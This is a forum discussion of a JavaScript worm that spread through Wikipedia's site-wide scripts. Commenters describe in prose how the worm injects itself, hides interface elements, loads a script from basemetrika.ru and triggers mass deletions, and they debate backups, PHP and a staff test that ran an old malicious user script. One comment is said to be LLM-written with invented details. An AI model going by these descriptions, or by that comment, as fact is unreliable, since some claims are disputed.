Discussion

greyface-: Additional context:https://wikipediocracy.com/forum/viewtopic.php?f=8&t=14555https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(techni...https://old.reddit.com/r/wikipedia/comments/1rllcdg/megathre...Apparent JS worm payload: https://ru.wikipedia.org/w/index.php?title=%D0%A3%D1%87%D0%B...

tantalor: Nice to see jQuery still getting used :)

varun_ch: Woah this looks like an old school XSS worm https://meta.wikimedia.org/wiki/Special:RecentChanges?hidebo...I’ve always thought the fact that MediaWiki sometimes lets editors embed JavaScript could be dangerous.

yabones: It's sad that something so critical for society and culture is run on a shoestring budget by volunteers. They do a great job, the best they possibly could. Hope they can get this sorted out without too much fuss.Btw, I recommend everybody set up a $2-5 monthly donation to WMF.

Markoff: please stop spreading lies, Wikipedia is swimming in money and they have money for years or even decades if they would not waste them on various seminars and other nonsense unrelated to running Wikipedia

256_: Here before someone says that it's because MediaWiki is written in PHP.

varun_ch: Also, I’m also surprised an XSS attack like hasn’t yet been actually used to harvest credentials like passwords through browser autofill[0].It seems like the worm code/the replicated code only really attacks stuff on site. But leaking credentials (and obviously people reuse passwords across sites) could be sooo much worse.[0] https://varun.ch/posts/autofill/

gadders: "The Wikimedia Foundation, which operates Wikipedia, reported a total revenue of $185.4 million for the 2023–2024 fiscal year (ending June 2024). The majority of this funding comes from individual donations, with additional income from investments and the Wikimedia Enterprise commercial API service."(Unless this was satire and I missed it)

Dwedit: PHP is the language where "return flase" causes it to return true.https://danielc7.medium.com/remote-code-execution-gaining-do...

m4tthumphrey: Also the language that runs half of the web.Also the language that has made me millions over my career with no degree.Also the language that allows people to be up and running in seconds (with or without AI).I could go on.

jjice: PHP is a fine language. It started my career. That said, it has a lot of baggage that can let you shoot yourself in the foot. Modern PHP is pretty awesome though.

nzeid: Wikipediocracy link gives "not authorized".

ChrisMarshallNY: I use it on the backends of my stuff.Works great, but, like any tool, usage matters.People who use tools badly, get bad results.I've always found the "Fishtank Graph" to be relevant: https://w3techs.com/technologies/history_overview/programmin...

epicprogrammer: This is basically a weaponized, highly destructive version of the old MySpace Samy worm. Hitting MediaWiki:Common.js is the absolute nightmare scenario for MediaWiki deployments because that script gets executed by literally every single visitor and editor across the entire site, creating a massive, instant propagation loop. The fact that it specifically targets admins and then uses jQuery to blind them by hiding the UI elements while it silently triggers Special:Nuke in the background is incredibly insidious. It really exposes the foundational danger of legacy web architectures that still allow executable JavaScript to be stored and served directly from user-editable namespaces. Cleaning this up is going to be an absolute forensic nightmare for the Wikimedia team since the database history itself is the active distribution vector.

devmor: In the early 2010’s I worked for a company whose primary income was subscriptions to site protection services - one of which included cleaning up malware-infected Wordpress installations. I worked on the team that did this job.This exact type of database-stored executable javascript was one of the most annoying types of infections to clean up.

pKropotkin: admins are the most disgusting thing on wikipedia

softskunk: care to elaborate?

Uhhrrr: How do they know? Has this been published in a Reliable Source?

nhubbard: Wow. This worm is fascinating. It seems to do the following:- Inject itself into the MediaWiki:Common.js page to persist globally, and into the User:Common.js page to do the same as a fallback- Uses jQuery to hide UI elements that would reveal the infection- Vandalizes 20 random articles with a 5000px wide image and another XSS script from basemetrika.ru- If an admin is infected, it will use the Special:Nuke page to delete 3 random articles from the global namespace, AND use the Special:Random with action=delete to delete another 20 random articlesEDIT! The Special:Nuke is really weird. It gets a default list of articles to nuke from the search field, which could be any group of articles, and rubber-stamps nuking them. It does this three times in a row.

256_: As someone on the Wikipediocracy forums pointed out, basemetrika.ru does not exist. I get an NXDomain response trying to resolve it. The plot thickens.

pKropotkin: Yeah, basemetrika.ru is free now. Should we occupy it? ;)

af78: Time to add 2FA...

256_: I'm half-tempted to try and claim it myself for fun and profit, but I think I'll leave it for someone else.What should we put there, anyway?

speedgoose: A JavaScript call to window.alert to pause the JavaScript VM.

j45: Too much app logic in the client side (Javascript) has always been an attack vector. The more that can reasonably be server side, the more that can't be seen.

0xWTF: Ok, so there are tons of mediawiki installations all over the internet. What do these operators do? Set their wikis to read-only mode, hang tight, and wait for a security patch?Also, does this worm have a name?

bawolff: There is nothing to do, the incident was not caused by a vulnerability in mediawiki.Basically someone who had permissions to alter site js, accidentally added malicious js. The main solution is to be very careful about giving user accounts permission to edit js

Wikipedianon: This was only a matter of time.The Wikipedia community takes a cavalier attitude towards security. Any user with "interface administrator" status can change global JavaScript or CSS for all users on a given Wiki with no review. They added mandatory 2FA only a few years ago...Prior to this, any admin had that ability until it was taken away due to English Wikipedia admins reverting Wikimedia changes to site presentation (Mediaviewer).But that's not all. Most "power users" and admins install "user scripts", which are unsandboxed JavaScript/CSS gadgets that can completely change the operation of the site. Those user scripts are often maintained by long abandoned user accounts with no 2 factor authentication.Based on the fact user scripts are globally disabled now I'm guessing this was a vector.The Wikimedia foundation knows this is a security nightmare. I've certainly complained about this when I was an editor.But most editors that use the website are not professional developers and view attempts to lock down scripting as a power grab by the Wikimedia Foundation.

256_: Maybe somewhat unrelated, but I'm reminded of the fact that people have deleted the main page on a few occasions: https://en.wikipedia.org/wiki/Wikipedia:Don%27t_delete_the_m...

j45: It's reassuring to know Wikipedia has these kinds of security mechanisms in place.

cwillu: Try not to take criticisms of tools personally. Phillips head screws are shit for a great many applications, while simultaneously being involved in billions of dollars of economic activity, and being a driver that everyone has available.

Barbing: Namecheap won’t sell it which is great because it made me pause and wonder whether it's legal for an American to send Russians money for a TLD.

streetfighter64: Well, admins (or anybody other than the developers / deployment pipeline) having permissions to alter the JS sounds like a significant vulnerability. Maybe it wasn't in the early 2000s, but unencrypted HTTP was also normal then.

lifeisstillgood: I completely understand marking the software that controls drinking water as critical infrastructure- but at some point a state based cyber attack that just wipes wikipedia off the net is deeply damaging to our modern society’s ability to agree on common facts …Just now thought “if Wikipedia vanished what would it mean … and it’s not on the level of safe drinking water, but it is a level.

lyu07282: There are so many mirrors anyway and trivial to get a local copy? What is much more concerning is government censorship and age verification/digital id laws where what articles you read becomes part of your government record the police sees when they pull you over.

jasonjayr: Perl still runs the other half?

Aperocky: All persistent data should have backup.It's not a high bar.

nhubbard: This is the official Wikimedia Foundation status page for the whole of Wikipedia, so it's a reliable primary source.

vova_hn2: Actually, usage of primary sources is kinda complicated [0], generally Wikipedia prefers secondary and tertiary sources.[0] https://en.wikipedia.org/wiki/Wikipedia:No_original_research...

jkaplowitz: Yeah, but the purpose of an encyclopedia like Wikipedia (a tertiary source) is to relatively neutrally summarize the consensus of those who spend the time and effort to analyze and interpret the primary sources (and thus produce secondary sources), or if necessary to cite other tertiary summaries of those.In a discussion forum like HN, pointing to primary sources is the most reliable input to the other readers' research on/synthesis of their own secondary interpretation of what may be going on. Pointing to other secondary interpretations/analyses is also useful, but not without including the primary source so that others can - with apologies to the phrase currently misused by the US right wing - truly do their own research.

pixl97: >Cleaning this upFind the first instance and reset to the backup before then. An hour, a day, a week? Doesn't matter that much in this case.

bbor: It is true that they have a particularly robust, distributed backup system that can/has come in handy, but FWIW the timing matters to them. English Wikipedia receives ~2 edits per second, or 172,800 per day. Many of them are surely minor and/or automated, but still: 1,036,800 lost edits is a lot!

Kiboneu: GOD am I thankful to my old self for disabling js by default. And sticking with it.

i_think_so: > Hitting MediaWiki:Common.js is the absolute nightmare scenario for MediaWiki deployments because that script gets executed by literally every single visitor...except for us security wonks who have js turned off by default, don't enable it without good reason, disable it ASAP, and take a dim view of websites that require it.Not too many years ago this behavior was the domain of Luddites and schizophrenics. Today it has become a useful tool in the toolbox of reasonable self-defense for anybody with UID 0.Perhaps the WMF should re-evaluate just how specialsnowflake they think their UI is and see if, maybe just maybe, they can get by without js. Just a thought.

stephbook: Chrome doesnt actually autofill before you interact. It only displays what it would fill in at the same location visually.

varun_ch: but any interaction is good for Chrome, like dismissing a cookie banner

Kiboneu: > Cleaning this up is going to be an absolute forensic nightmare for the Wikimedia team since the database history itself is the active distribution vector.Well, worm didn't get root -- so if wikimedia snapshots or made a recent backup, probably not so much of a nightmare? Then the diffs can tell a fairly detailed forensic story, including indicators of motive.Snapshotting is a very low-overhead operation, so you can make them very frequently and then expire them after some time.

Extropy_: Even if they reset to several days ago and lose, say, thousands of edits, even tens of thousands of minor edits, they're still in a pretty good place. Losing a few days of edits is less-than-ideal but very tolerable for Wikipedia as a whole

Kiboneu: Nah, you can snapshot every 5 minutes.

dboreham: There are already tools and techniques to validate served JS is as-intended, and these techniques could be beefed up by adding browser checks. I've been surprised these haven't been widely adopted given the spate of recent JS-poisoning attacks.

dns_snek: The amount of javascript is really beside the point here. The problem is that privileged users can easily edit the code without strong 2FA, allowing automatic propagation.

shevy-java: How does 2FA prevent this here?

dns_snek: [delayed]

radium3d: Pretty sure we've seen people coding in essentially every other programming language also shoot themselves in the foot.

Sohcahtoa82: Every language has foot-guns of some sort. The difference is how easy it is to accidentally pull the trigger.PHP makes it easy.

shevy-java: Are they really lost though? I think they should not be lost; they could be stored in a separate database additionally.

derefr: In fact, as long as the malware is just doing deletes, you can just merge the two "timelines" by restoring the snapshot and then replaying all the edits but ignoring the deletes. Lost deletes really aren't much of a problem!

Kiboneu: Filesystem & database snapshots are very cheap to make, you can make them every 15 minutes. You can expire old snapshots (or collapse the deltas between them) depending on the storage requirements.

gchamonlive: The problem isn't the granularity of the backup but since the worm silently nukes pages, it's virtually impossible to reconcile the state before the attack and the current state, so you have to just forfeit any changes made since then and ask the contributors to do the leg work of reapplying the correct changes

Kiboneu: Why would nuked pages matter? Snapshots capture everything and are not part of wikimedia software.

streetfighter64: If you're using wikipedia to "agree on common facts" I think you might have bigger problems...

clcaev: We should be using federated architectures. For Wikipedia, a central read-only hub that delegates to communities who have proven themselves. Common, suggested tooling (software and processes) could be maintained centrally but each community may enjoy a bit more independence.

chris_wot: Most admins on Wikipedia are incompetent.

alphager: Most admins on Wikipedia are competent in areas outside of webdev and security.

quantum_magpie: Could you point to where you found the details of the exploit? It’s not in the linked page. Really interested. Especially the part about modifying it and the other users propagating it?

homebrewer: The fact of this obvious LLM slop being at the top of this discussion is incredibly insidious. The "facts" it mentions are made up. Has this vapid style finally become so normalized that nobody is seeing it anymore?

infinitewars: That user, epicprogrammer's comment history suggests alignment with the Musk/Thiel/Anduril/DoW/anti-Anthropic crowd who are incessantly trying to damage Wikipedia's reputation to push a "Grokipedia" where they can define the narrative.

sobjornstad: Nowadays I refuse to do any serious work that isn't in source control anywhere besides my NAS that takes copy-on-write snapshots every 15 minutes. It has saved my butt more times than I can count.

Kiboneu: Yeah same here. Earlier I had a sync error that corrupted my .git, somehow. no problem; I go back 15 minutes and copy the working version.Feels good to pat oneself in the back. Mine is sore, though. My E&O/cyber insurance likes me.

amiga386: It means giving money to the Russian government, so no.If anyone from the Russian government is reading this, get the fuck out of Ukraine. Thank you.

cryptoegorophy: Did you know… ukraine still lets Russian gas transit through ukraine territory? Making ukraine the largest sponsor of terrorism against ukraine? Did you know, when war started it, ukraine was letting Russia make around $1 billion PER DAY for like a year before reducing that amount ? You didn’t know that. But hey, protesting by not letting some one buy .ru will certainly do damage to Putin!

john_strinlai: >Nah, you can snapshot every 15 minutes.obviously you can.but, what is the actual snapshot frequency? like, what is the timestamp of the last known good snapshot?and, in any case, the comment you are replying to is a hypothetical, which correctly points out that even a day or two of lost edits is fine (not ideal, but fine). your reply doesnt engage with their comment at all.

infinitewars: A comment from my wiki-editor friend: "The incident appears to have been a cross-site scripting hack. The origin of rhe malicious scripts was a userpage on the Russian Wikipedia. The script contained Russian language text. During the shutdown, users monitoring [https://meta.wikimedia.org/wiki/special:RecentChanges Recent changes page on Meta] could view WMF operators manually reverting what appeared to be a worm propagated in common.js Hopefully this means they won't have to do a database rollback, i.e. no lost edits. " Interesting to note how trivial it is today to fake something as coming "from the Russians".

tetha: At $work we're hosting business knowledge databases. Interestingly enough, if you need to revert a day or two of edits, you're better off to do it asap, over postponing and mulling over it. Especially if you can keep a dump or an export around.People usually remember what they changed yesterday and have uploaded files and such still around. It's not great, but quite possible. Maybe you need to pull a few content articles out from the broken state if they ask. No huge deal.If you decide to roll back after a week or so, editors get really annoyed, because now they are usually forced to backtrack and reconcile the state of the knowledge base, maybe you need a current and a rolled-back system, it may have regulatory implications and it's a huge pain in the neck.

256_: I didn't even notice it until you pointed it out, but I checked that account's comment history and it uses em dashes. Also, "the database history itself is the active distribution vector" Is just semantic nonsense.I still have a basic assumption that if something I'm reading doesn't make much sense to me, I probably just don't understand it. Over the last few years I've had to get used to the new assumption that it's because I'm reading LLM output.

homebrewer: I've also always used em-dashes, it's not a very reliable indicator. That style is a dead giveaway, though. Some of its comments seem to be written by a human, but several definitely aren't.I've been spending less and less time here, the moderation is obviously overwhelmed and is losing the battle.https://aphyr.com/posts/389-the-future-of-forums-is-lies-i-g...

Kiboneu: > the comment you are replying to is a hypothetical, which correctly points out that even a day or two of lost edits is fine (not ideal, but fine). your reply doesnt engage with their comment at all.I did engage, by pointing out that it wasn't relevant nor a realistic scenario for a competent sysadmin. (Did you read the OP?) That's a /you/ problem if you rely on infrequent backups, especially for a service with so much flux.> what is the actual snapshot frequency? like, what is the timestamp of the last known good snapshot?? Why would I know what their internal operations are?

john_strinlai: >I did engage, by pointing out that it wasn't relevant nor a realistic scenario for a competent sysadmin.>Why would I know what their internal operations are?i mean... you must, right? you know that once-a-day snapshots is not relevant to this specific incident. you know that their sysadmins are apparently competent. i just assumed you must have some sort of insider information to be so confident.

marginalia_nu: > [...] is incredibly insidious. It really exposes the foundational danger of [...]My LLM sense is tingling.

JKCalhoun: Perhaps we're at last watching the internet die.

NoMoreNicksLeft: Yes, but we did that over the last 15 years. We just never realized that's what we were seeing.It only clicked for me a few weeks ago, in one thread or another here when I realized that no one could ever do what Google did once: Cloudflare and other antibot technologies have closed off traditional search-as-the-result-of-web-crawling permanently. It's not that no one will do it because they think there's no money in it, or that no one will do it because the upfront costs are gigantic... literally it can no longer be done.The internet died.

Imustaskforhelp: There are still a few options. I recently had the idea of doing search engine queries on 9 search engines.Mojeek is a good independent search browser, it isn't the best but at that Hackernews comment/analysis I was doing I found it to be the only one which worked for that case.Brave exists too.I know the situation is very critical/dire tho but there is still some chance. All be it quite small.Mojeek IIRC, is operated by one single guy for 15 years.

Imustaskforhelp: Looks like someone other from the hackernews community has bought the domain https://news.ycombinator.com/item?id=47263323#47265499

chuckadams: https://3v4l.org/eua7G#veolIs an error in every currently supported version of PHP, and even in the 7.x series the "warning" it throws is fatal by default unless specifically suppressed. PHP certainly has an ugly past, but I suspect Xsuite would find a way to be garbage in any language.

bbor: It warms my heart that there's basically a 0% chance that they ever approach this camp's viewpoint based on the Herculean effort it took to switch over to a slightly more modern frontend a few years back. I'm glad you don't think of yourself of a Luddite, but I think you're vastly overstating how open people are to a purely-static web.Also, FWIW: Wikipedia is "specialsnowflake". If it isn't, that's merely because it was so specialsnowflake that there's now a healthy of ecosystem of sites that copied their features! It's far, far more capable than a simple blog, especially when you get into editing it.

i_think_so: Ok, fair point. I presumed that this crowd would be far more familiar with the capabilities of HTML5 and dynamic pages sans js than most. (Surely more familiar than I, who only dabble in code by comparison.)No, I'm not suggesting we all go back to purely-static web pages, imagemap gifs and server side navigation. But you're going to have a hard time convincing me that I really truly need to execute code of unknown provenance in my this-app-does-everything-for-me process just to display a few pages of text and 5 jpegs.And for the record, I've called myself a Technologist for almost 30 years now. If I were a closet Luddite I'd be one of the greatest hypocrites of human history. :-)

Imustaskforhelp: > edit: lol downvoted with no counterpoint, is it hitting a nerve?I have upvoted ya fwiw and I don't understand it either why people would try to downvote ya.I mean, if websites work for you while disabling js and you are fine with it. Then I mean JS is an threat vector somewhat.Many of us are unable to live our lives without JS. I used to use librewolf and complete and total privacy started feeling a little too uncomfortableNow I am on zen-browser fwiw which I do think has some improvements over stock firefox in terms of privacy but I can't say this for sure but I mainly use zen because it looks really good and I just love zen.

m4tthumphrey: I can't edit nor be bothered to reply to all of the negative responses so I'll put it here.Pretty much all of you missed the larger point. PHP was what allowed me to not work in retail forever, buy a forever house, never have to worry about losing my job (this may change in the future with AI) or being at risk for redundancy, having chosen to only work for small, "normal" well run profitable businesses.Unless you're building a hyper scale product, it does the job perfectly. PHP itself is not a security issue; using it poorly is, and any language can be used poorly. PHP is still perfectly suitable for web dev, especially in 2026.

lynx97: Time to spend some of this excess money on a bit of security tightening? I hear we're talking about a 9 digit figure.

skrtskrt: Long past time to eliminate JavaScript from existence

dgxyz: This.Actually fuck the whole dynamic web. Just give us hypertext again and build native apps.Edit: perhaps I shouldn't say this on an VC driven SaaS wankfest forum...

rainingmonkey: You may be interested in https://geminiprotocol.net/

dgxyz: Yes that's exactly what we should be using. Totally agree.

streetfighter64: Imagine if wikipedia was a native app, what this vuln would have caused. I for one prefer using stuff in the browser where at least it's sandboxed. Also, there's nothing stopping you from disabling JS in your browser.

dgxyz: Wikipedia should be straight hypermedia. Simple.

dlivingston: I mean sure, but that's never going to happen, so complaining about it is just shaking your fist at the sky. The only way it will change is if the economics of the web change. Maybe that is the economics of developer time (it being easier/fast/more resilient and thus cheaper to do native dev), or maybe it is that dynamic scripting leads to such extreme vulnerabilities that ease of deployment/development/consumer usage change the macroeconomics of web deployment enough to shift the scales to local.But if there's one thing I've learned over the years as a technologist, it's this: the "best technology" is not often the "technology that wins".Engineering is not done in a vacuum. Indeed, my personal definition of engineering is that it is "constraint-based applied science". Yes, some of those constraints are "VC buxx" wanting to see a return on investment, but even the OSS world has its own set of constraints - often overlapping. Time, labor, existing infrastructure, domain knowledge.

dgxyz: I think it will change.The entire web is built on geopolitical stability and cooperation. That is no longer certain. We already have supply chains failing (RAM/storage) meaning that we will be hardware constrained for the foreseeable future. That puts the onus on efficiency and web apps are NOT efficient however we deliver them.People are also now very concerned about data sovereignty whereas they previously were not. If it's not in your hands or on your computer than it is at risk.The VC / SaaS / cloud industry is about to get hit very very hard via this and regulation. At that point, it's back to native as delivery is not about being tied to a network control point.I've been around long enough to see the centralisation and decentralisation cycles. We're heading the other way now

j45: It's not, application logic exposed on the client side is always an attack vector for figuring out how it works and how attack vectors could be devised.It's simply a calculated risk.How much business and application logic you put in your Javascript is critical.On your second unrelated comment about Wikipedia needing to use 2FA, there's probably a better way to do it and I hope mediawiki can do it.

RGamma: Seems like a good time to donate one's resources to fix it. The internet is super hostile these days. If Wikipedia falls... well...

PsylentKnight: My understanding is that Wikipedia receives more donations than they need, surely they have the resources to fix it themselves?

noosphr: You would first need to realzie its a problem.

acheong08: I registered it about 40 minutes ago, but it seems the DNS has been cached by everyone as a result of the wikipedia hack & not even the NS is propagating. Can't get an SSL certificate .

bjord: nice work

sunaookami: Check https://web.archive.org/web/20260305155250/https://ru.wikipe... for the payload (safe to view)

_verandaguy: > Based on the fact user scripts are globally disabled now I'm guessing this was a vector. Disabled at which level?Browsers still allow for user scripts via tools like TamperMonkey and GreaseMonkey, and that's not enforceable (and arguably, not even trivially visible) to sites, including Wikipedia.As I say that out loud, I figure there's a separate ecosystem of Wikipedia-specific user scripts, but arguably the same problem exists.

TZubiri: There's thousands of copies of the whole wikipedia in sql form though, IIRC it's just like 47GB.

eblume: Correct. Not sure about a sql archive, but the kiwix ZIM archive of the top 1M English articles including (downsized but not minimized) images is 43GiB: https://download.kiwix.org/zim/wikipedia/And the entire English wikipedia with no images is, interestingly, also 43GiB.

gchamonlive: The nuke might be legitimate?

krater23: Maybe this is the reason for this worm. Someone is angry because they don't got it in another way...

howenterprisey: Yeah, wikipedia has its own user script system, and that was what was disabled.

tux3: See the public phab ticket: https://phabricator.wikimedia.org/T419143In short, a Wikimedia Foundation account was doing some sort of test which involved loading a large number of user scripts. They decided to just start loading random user scripts, instead of creating some just for this test.The user who ran this test is a Staff Security Engineer at WMF, and naturally they decided to do this test under their highly-privileged Wikimedia Foundation staff account, which has permissions to edit the global CSS and JS that runs on every page.One of those random scripts was a 2 year old malicious script from ruwiki. This script injects itself in the global Javascript on every page, and then in the userscripts of any user that runs into it, so it started spreading and doing damage really fast. This triggered tons of alerts, until the decision was made to turn the Wiki read-only.

karel-3d: wait as a wikipedia user you can just put random JS to some settings and it will just... run? privileged?this is both really cool and really really insane

kemayo: It's a mediawiki feature: there's a set of pages that get treated as JS/CSS and shown for either all users or specifically you. You do need to be an admin to edit the ones that get shown to all users.https://www.mediawiki.org/wiki/Manual:Interface/JavaScript

pluralmonad: What is uncomfortable about Librewolf? I thought it was basically FF without telemetry and UBO already baked in?

INR18650: reg.ru, the most popular registrar, sells .ru domains for $1.65, very little of which goes to the national registry. What is their profit on this domain, a couple of cents?You have helped to bring peace by approximately zero nanoseconds, while doing absolutely nothing about western countries still buying massive amounts of natural resources from Putin. Tax income on their exports make the primary source of income for the federal budget, which directly funds the military.Good virtue signaling, though. I'm completely disillusioned with the West, this is nothing new.

avidruntime: I don't think voting with your wallet constitutes virtue signaling, especially at a time when end user boycotting is one of the universally known methods of protest.

janalsncm: I am a pragmatist so maybe I will never understand this line of thinking. But in my mind, there are no perfect options, including doing nothing.By doing nothing, you are allowing a malicious actor to buy the domain. In fact I am sure they would love for everyone else to be paralyzed by purity tests for a $1 domain.All things being equal, yeah don’t buy a .ru domain. But they are not equal.

bawolff: That's a fair point, but keep in mind normal admin is not sufficient. For local users (the account in question wasn't local) you need to be an "interface admin", of which there are only 15 on english wikipedia.The account in question had "staff" rights which gave him basically all rights on all wikis.

Imustaskforhelp: I appreciate librewolf but when I used to use it, IIRC its fingerprinting features were too strict for some websites IIRC and you definitely have to tone it down a bit by going into the settings. Canvases don't work and there were some other features too.That being said, Once again, Librewolf is amazing software. I can see myself using it again but I just find zen easier in the sense of something which I can recommend plus ubO obvPersonally these are more aesthetic changes more than anything. I just really like how zen looks and feels.The answer is sort of, Just personal preference that's all.

karel-3d: This is apparently not done browser side but server side.As in, user can upload whatever they wish and it will be shown to them and ran, as JS, fully privileged and all.

londons_explore: Didn't realise this was some historic evil script and not some active attacker who could change tack at any moment.That makes the fix pretty easy. Write a regex to detect the evil script, and revert every page to a historic version without the script.

jacquesm: True but it does say something that such a script was able to lie dormant for so long.

outofpaper: Why would anyone test in production???!!!

shevy-java: This is unfortunate that Wikipedia is under attack. It seems as if there are more malicious actors now than, say, 5 years ago.This may be unrelated but I also noticed more attacks on e. g. libgen, Anna's archive and what not. I am not at all saying this is similar to Wikipedia as such, mind you, but it really seems as if there are more actors active now who target people's freedom now (e. g. freedom of choice of access to any kind of information; age restriction aka age "verification" taps into this too).

jibal: Wikipedia is not under attack. Some stupid admin running with full privileges unsandboxed ran a test that grabbed and ran random user scripts, and one of them just happened to be this 2 year old malicious script.

hk__2: Yes, you can have your own JS/CSS that’s injected in every page. This is pretty useful for widgets, editing tools, or to customize the website’s apparence.

karel-3d: It sounds very dangerous to me but who am I to judge.

Brian_K_White: It's nothing.For the global ones that need admin permissions to edit, it's no different from all the other code of mediawiki itself like the php.For the user scripts, it's no worse than the fact that you can run tampermonkey in your browser and have it modify every page from evry site in whatever way your want.

gucci-on-fleek: > Any user with "interface administrator" status can change global JavaScript or CSS for all users on a given Wiki with no review.True, but there aren't very many interface administrators. It looks like there are only 137 right now [0], which I agree is probably more than there should be, but that's still a relatively small number compared to the total number of active users. But there are lots of bots/duplicates in that list too, so the real number is likely quite a bit smaller. Plus, most of the users in that list are employed by Wikimedia, which presumably means that they're fairly well vetted.[0]: https://en.wikipedia.org/w/api.php?action=query&format=json&...

dlivingston: I think on a high level we're in agreement then. All of those points you mentioned are constraints.> "VC / SaaS / cloud industry is about to get hit very very hard via ... regulation"can you explain?

CaptainNegative: > but at some point a state based cyber attack that just wipes wikipedia off the net is deeply damaging to our modern society’s ability to agree on common factsHaven't we hit that point already with bad faith (and potentially government-run) coordinated editing and voting campaigns, as both Wales and Sanger have been pointing out for a while now?See, for example,* Sanger: https://en.wikipedia.org/wiki/User:Larry_Sanger/Nine_Theses* Wales: https://en.wikipedia.org/wiki/Talk:Gaza_genocide/Archive_22#...* PirateWires: https://www.piratewires.com/p/how-wikipedia-is-becoming-a-ma...

wizzwizz4: > Haven't we hit that point already with bad faith (and potentially government-run) coordinated editing […] campaigns,Yes, this is a real phenomenon. See, for instance, https://en.wikipedia.org/wiki/Timeline_of_Wikipedia%E2%80%93...: the examples from 2006 are funny, and the article's subject matter just gets sadder and sadder as the chronology goes on.> and voting campaignsI'm not sure what you mean by this. Wikipedia is not a democracy.> as both Wales and Sanger have been pointing out{{fv}}. Neither of those essays make this point. The closest either gets is Sanger's first thesis, which misunderstands the "support / oppose" mechanism. Ironically, his ninth thesis says to introduce voting, which would create the "voting campaign" vulnerability!These are both really bad takes, and I'm glad Wikipedians are mostly ignoring them. (I have not read the third link you provided, because Substack.)

hnfong: Not the GP, and I don't believe in the existence of "common facts" in general, but Wikipedia is indeed a good place to figure out what other people might agree as common facts...

streetfighter64: Well, I'm not sure either what the term "common facts" is supposed to mean, but wikipedia is not a good place to look for what "other people" think, unless if by "other people" you mean a small set of wikipedia powerusers. Just like traditional newspapers are controlled by a small set of relatively unknown editors who decide what's worth publishing, so is wikipedia.https://en.wikipedia.org/wiki/Wikipedia:What_Wikipedia_is_no...

throw-the-towel: Namecheap is Ukrainian, of course they won't sell you a .ru domain.

craftkiller: Is it? Wikipedia says:> Namecheap is a U.S. based domain name registrar and web hosting service company headquartered in Phoenix, Arizona.

AlienRobot: On one hand, I was about to get irrationally angry someone was attacking Wikipedia, so I'm a bit relievedOn the other hand,>a Staff Security Engineer at WMF, and naturally they decided to do this test under their highly-privileged Wikimedia Foundation staff accountseriously?

ninth_ant: Selecting the wrong environment in your test setup by mistake?I refuse to believe that someone on the security team intentionally tested random user scripts in production on purpose.

Ferret7446: This is a pretty egregious failure for a staff security engineer

mcmcmc: [delayed]

jl6: Letting ancient evil code run? Have we learned nothing from A Fire Upon the Deep?!

edoceo: I've only just heard of it. But, I already knew to not run random scripts under a privileged account. And thank you for the book suggestion - I'm into those kinds of tales.

HoldOnAMinute: "It was really just humans playing with an old library. It should be safe, using their own automation, clean and benign.This library wasn't a living creature, or even possessed of automation (which here might mean something more, far more, than human)."

divbzero: There doesn’t seem to be an ulterior motive beyond “Muahaha, see the trouble I can cause!”

observationist: Are you sure? Are you $150 million ARR sure? Are you $150 million ARR, you'd really like to keep your job, you're not going to accidentally leave a hole or blow up something else, sure?I agree, mostly, but I'm also really glad I don't have to put out this fire. Cheering them on from the sidelines, though!

pocksuppet: They were probably using AI, so it's good.

adxl: Is ok, the AI was going to replace them in a few weeks anyway.

irishcoffee: > I refuse to believe that someone on the security team intentionally tested random user scripts in production on purpose.Do I have a bridge to sell you, oh boy

Fokamul: I'm guessing, "1> Hey Claude, your script ran this malicious script!""Claude> Yes, you're absolutely right! I'm sorry!"

CloakHQ: session compromise at this scale is usually less about breaking auth and more about harvesting valid sessions from environments where the browser itself leaks state. most "secure" sessions assume the browser is a neutral transport - but the browser exposes a surprising amount of identity through fingerprint consistency across tabs, timing patterns, and cached state that survives logout. the interesting question here isn't the auth model, it's what the attacker's client looked like at the time of the requests.

krisoft: You will have a long trek to do that. We have a javascript interpreter deployed at the second Sun-Earth Lagrange point.https://www.theverge.com/2022/8/18/23206110/james-webb-space...

varenc: Link to the Prologue of Fire Upon the Deep: https://www.baen.com/Chapters/-0812515285/A_Fire_Upon_the_De...It's very short and from one of my favorite books. Increasingly relevant.

notRobot: There are 15 interface admins as per these linkshttps://en.wikipedia.org/wiki/Wikipedia:Interface_administra...https://en.wikipedia.org/wiki/Special:ListUsers/interface-ad...

dgxyz: I live happily in the knowledge that in 20000 years when that eventually drifts off into another system and is picked up by aliens that they will reverse engineer it and wonder why the fuck '5'-'4'=1

gucci-on-fleek: Those are the English Wikipedia-only users, but you also need to include the "global" users (which I think were the source of this specific compromise?). Search this page [0] for "editsitejs" to see the lists of global users with this permission.[0]: https://en.wikipedia.org/wiki/Special:GlobalGroupPermissions

modderation: It's either a a Career Limiting Event, or a Career Learning event.In the case of a Learning event, you keep your job, and take the time to make the environment more resilient to this kind of issue.In the case of a Limiting event, you lose your job, and get hired somewhere else for significantly better pay, and make the new environment more resilient to this kind of issue.Hopefully the Wikimedia foundation is the former.

withinboredom: Once you get big enough… there comes a point where you need to run some code and learn what happens when 100 million people hitting it at once looks like. At that scale, “1 in a million class bugs/race conditions” literally happen every day. You can’t do that on every PR, so you ship it and prepare to roll back if anything even starts to look fishy. Maybe even just roll it out gradually.At least, that’s how it worked at literally every big company I worked at so far. The only reason to hold it back is during testing/review. Once enough humans look at it, you release and watch metrics like a hawk.And yeah, many features were released this way, often gated behind feature flags to control roll out. When I refactored our email system that sent over a billion notifications a month, it was nerve wracking. You can’t unsend an email and it would likely be hundreds of millions sent before we noticed a problem at scale.

Imustaskforhelp: I had looked into its availability too just out of curiosity itself before reading your comment on a provider, Then I read your comment. Atleast its taken in from the hackernews community and not a malicious actor.Do keep us updated on the whole situation if any relevant situation can happen from your POV perhaps.I'd suggest to give the domain to wikipedia team as they might know what could be the best use case of it if possible.

acheong08: Not quite sure which channels I should reach out via but I've put my email on the page so they can contact me.Based on timings, it seems that Wikipedia wasn't really at risk from the domain being bought as everything was resolved before NS records could propagate. I got 1 hit from the URL which would've loaded up the script and nothing since.

throw-the-towel: I remember that in 2022 a sizeable part of their workforce was located in Ukraine. Too lazy to search for proof, sorry!

batiudrami: A classical virus, from the good old days. None of this botnet/bitcoin mining in the background nonsense.

cesarb: > One of those random scripts was a 2 year old malicious script from ruwiki. This script injects itself in the global Javascript on every page, and then in the userscripts of any user that runs into it, so it started spreading and doing damage really fast.So, like the Samy worm? (https://en.wikipedia.org/wiki/Samy_%28computer_worm%29)

cesarb: > For local users (the account in question wasn't local) you need to be an "interface admin", of which there are only 15 on english wikipedia.It used to be all "admin" accounts, of which there were many more. Restricting it to "interface admin" only is a fairly recent change.

